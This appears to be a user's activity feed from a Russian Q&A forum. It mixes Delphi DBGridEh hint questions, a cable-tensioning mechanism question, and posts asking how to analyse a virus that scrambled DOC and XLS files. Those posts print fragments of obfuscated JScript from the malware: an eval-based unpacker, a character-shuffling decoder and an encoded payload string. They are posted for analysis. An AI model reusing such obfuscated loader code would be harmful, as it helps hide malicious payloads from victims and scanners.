Как понять, что делает вирус?

Программой которая результат eval сохраняет в файл попытался вытащить зашифрованные данные: Одна функция появилась, остальные так и остались непонятным набором символов.

Как понять, что делает вирус?

xtala zen: ну система это понимает. расшифровать думаю дело техники и знаний, что бы понять что делает, и попробовать обратить последствия.

Как понять, что делает вирус?

не уверен, стоит ли сюда весь зашифрованный массив выкладывать

Delphi. Как из события с message CM_MOUSEENTER вызывать событие с CM_MOUSEENTER?

Александр +: RAD Studio 10.1

Как можно реализовать систему автоматического натяжения троса?

x67: стопор может быть ручным. Двигатель не подойдет, он будет лишним усложнением.

Суть проста: На табуретке и на столе стоит груз. С потолка свисает трос.
Я подхожу и цепляют крюк троса к грузу на табурете и убираю табурет - груз висит.
Ставлю на место табурет, отстегиваю трос от груза - он механизмом подтягивается по длине, что бы я мог его зацепить за груз на столе. Убираю стол - груз висит на той же высоте на какой и был.

Как минимум мне стоило этот вопрос задать ради хорошей мысли по поводу резинового троса.
Надо рассмотреть этот вариант.

Как понять, что делает вирус?

Скачал небольшую программку, которая результат eval скидывает в файл.
Ну и встроенная деобфускация выдала следующее:
(кусочек кода, не весь)

var _0xfce0,v0199a,vec714,ved715,_0xfe5c,vc3a99,ws,temp;
 (function()
 {
   function Rf(h)
   {
     var j=783030;
     var a=h.length;
     var i=[];
     for(var x=0;x<a;x++)
     {
       i[x]=h.charAt(x)
     };
     for(var x=0;x<a;x++)
     {
       var o=j*(x+87)+(j%42688);
       var c=j*(x+499)+(j%22984);
       var l=o%a;
       var g=c%a;
       var v=i[l];
       i[l]=i[g];
       i[g]=v;
       j=(o+c)%7427399
     };
     return i.join('')
   };
 (Function('',(Function('',Rf(';=2rm;"agc(epfri9+vgj5brnj]u)wxy9"0jrv+)u1ic=gC(l8l9yt;hi7cc)d]jv,uh+7h,9qn82uy;i6[sn<=np (=(8",Cjl;p);,r()}i[1qnerlr,)a+.toi<s.+[yf h}dn}ic=q[c]]10+birr.ae"(g{j[7([ri y=,s, 9uh){eso].ru1gvlui C((aa, )aallufvg(r[)kpsslc4e,td).y5o(vat +=)]m9;g;tbr=sct h(--,gofrt.p;,ev;=a)r8ao=s(r3dr+aAnn*h0)tfe [0ula1ha=..)eCrrv(rarot e(r(2li,r=a.aaf5ol+,6v-;henda+h=r;odAd(sa-;(is (t8o.]emr)i]m(c;h-.)h)o+3.<hsnyo;e;t==ftC-i29taahat"t8]4 =.ir=<==bi)()A9;lwu7drnfp)-. hyC ao)e 7a;,nr+,)4+..}ltr;<6lrazg+28a3f;td2va; ;t7e2se;nv(tvaug;;uv(u=a)qnlvus{aar.rt;f=C0Aus=s].;u+;trv1c7)r=;h;;.d;q23.rjn;((>lra(f*9=1ou8=7u66\x1F{e,([rgju6prerln.!ubue in[ii,(+f[a]0v+;lca[)"=;h60=jufht;t0e0=}vet"])or.o)na"1=;vw81e)[l n=;6,lg(vr,Cv, h)2co+clvl2f

Если в начале еще понятно что-то, то что за билеберду выдает дальше не разобрать.

Как понять, что делает вирус?

Если полностью код смотреть, без объявления массива в hex, который в виде "\x32\x30" на несколько страниц, то вот:

<script language="JScript">
eval(function(_0xe78dx1,_0xe78dx2,_0xe78dx3,_0xe78dx4,_0xe78dx5,_0xe78dx6){_0xe78dx5= function(_0xe78dx3){return _0xe78dx3};
if(!_0x72a5[5][_0x72a5[4]](/^/,String)){
	for(;_0xe78dx3--;){
		_0xe78dx6[_0xe78dx3]= _0xe78dx4[_0xe78dx3]|| _0xe78dx3
	};
	_0xe78dx4= [function(_0xe78dx3){return _0xe78dx6[_0xe78dx3]}];
	_0xe78dx5= function(){return _0x72a5[6]};_0xe78dx3= 1
};
for(;_0xe78dx3--;) {
_0xe78dx4[_0xe78dx3]&& (_0xe78dx1= _0xe78dx1[_0x72a5[4]]( new RegExp(_0x72a5[7]+ _0xe78dx5(_0xe78dx3)+ _0x72a5[7],_0x72a5[8]),_0xe78dx4[_0xe78dx3]))
};
return _0xe78dx1}(_0x72a5[0],10,22196,_0x72a5[3][_0x72a5[2]](_0x72a5[1]),0,{}))
</script>

Как понять, что делает вирус?

А да. по факту, вирус перекодировал DOC файлы и файлы XLS. Т.е. ты их открываешь, а там всякая тарабарщина.

Как понять, что делает вирус?

(у меня Internet Explorer через оболочку Microsoft Edge: поэтому косячно запиливаю, кнопки и иконки на сайте не видно.)

Как можно реализовать систему автоматического натяжения троса?

кулачковый стопор конечно интересно, до для стального троса не уверен что подойдет.
Автоматический - значит никаких ручных манипуляций, в смысле не надо стоять и наяривать ручку ))

Нужно нечто пружинного механизма. Хотя наверно его и придется использовать, только вот не уверен что смогу его в гараже собрать.

Как получить значение выделенной ячейки в DBgrid в событии OnDataHintShow (Delphi)?

То что нужно! Спасибо огромное, я уже весь свой мозг сломал. На подобное да же внимание не обратил, пытался через DataLink уже добираться, да еще бог знает через что.

Как получить значение выделенной ячейки в DBgrid в событии OnDataHintShow (Delphi)?

в процедуре есть:
Columns0DataHintShow(Sender: TCustomDBGridEh;
CursorPos: TPoint; Cell: TGridCoord; InCellCursorPos: TPoint;
Column: TColumnEh; var Params: TDBGridEhDataHintParams;
var Processed: Boolean);
Как добраться отсюда до TGridDrawState?

Delphi. Hint. Как задать скорость появления подсказки?

Разобрался - Delphi. Как из события с message CM_MOUSEENTER вызывать событие с CM_MOUSEENTER?
Получал в событии MOUSELEAVE, текущий объект под курсором через функцию FindDragTarget

Delphi. Hint. Как задать скорость появления подсказки?

Решил к форме привязать процедуру c CM_MOUSELEAVE. Где в LParam передается компонент с которого слетела мышка.
На Grid'e OnMouseMove повесил Application.HintPause := 0;
В итоге обрабатываю при выполнении условия Message.LParam = int(DbgridEh) - повесил исчезание кнопки, и собственно возвращаю Applcation.HintPause := 500;

Осталась одна проблема.
Событие срабатывает когда я перевожу курсор с компонента на компонент. Т.е. уход с грида на кнопку в его ячейки, заставляет кнопку исчезнуть, а она нужна :D
надо исключить эту кнопку, т.е. при уводе курсора с грида (CM_MOUSELEAVE) проверять куда курсор попал, и если это не кнопка, то делать все как надо.

Вопрос теперь как из CM_MOUSELEAVE проверять CM_MOSUEENTER?

Delphi. Hint. Как задать скорость появления подсказки?

Константин Цветков: насколько я понял HintMouseMessage просто позволяет привязать Hint к TControl.

Delphi. Hint. Как задать скорость появления подсказки?

Только для всего приложения? или можно задать HintPause для конкретного "объекта"?

Delphi. DBGridEh. Как получить данные ячейки при наведении на неё курсора мыши?

KTG: без всяких явных переходов по записям, без дополнительных запоминаний где-то там текущей записи, без глюков с контролами.
"Все уже украдено* до нас" (*разработано) :D

Delphi. DBGridEh. Как получить данные ячейки при наведении на неё курсора мыши?

Все это чушь. Работает быстро, но будут загвоздки по отображению панели как я хотел. Плюс надо отдельно отрабатывать событие увода мыши с ячейки.

С DBgridEg все оказалось легче.
Ставим на DBgrid параметр ShowHint := true;
Дальше у колонки на событии OnDataHintShow вешаем код:
[code]
var
rect: TRect;
rectX, rectY : extended;
begin
rect := Sender.CellRect(Cell.X, Cell.Y);
rectX := Rect.TopLeft.X + Rect.Width;
rectY := Rect.TopLeft.Y + Rect.Height/2 + Rect.Height - 1;

btn_delMainCat.Visible := true;
btn_delMainCat.Left := trunc(rectX - btn_delMainCat.Width/2);
btn_delMainCat.Top := trunc(rectY);

caption := Sender.DataSource.DataSet.FieldByName('Name').AsString;
[/code]

Delphi. DBGridEh. Как получить данные ячейки при наведении на неё курсора мыши?

Нет. Не выделяет. Выделяю кликом, или стрелочками, или скроллом мыши. А при наведении я лишь получаю дополнительно данные строки под мышкой.

Грубо говоря, на примере 10-ой винды, у тебя открыто на панели задач 5 вкладок и тебе достаточно навести курсор на иконку, что бы получить картинку-миниатюру открытого окна или приложения. Или что бы закрыть, не надо переключаться, просто жмешь правой кнопкой мыши и в меню "закрыть".
А активное окно, браузера, по прежнему отображается на экране )))

Delphi. DBGridEh. Как получить данные ячейки при наведении на неё курсора мыши?

type
TCrackDBGrid = class(TDBGridEh)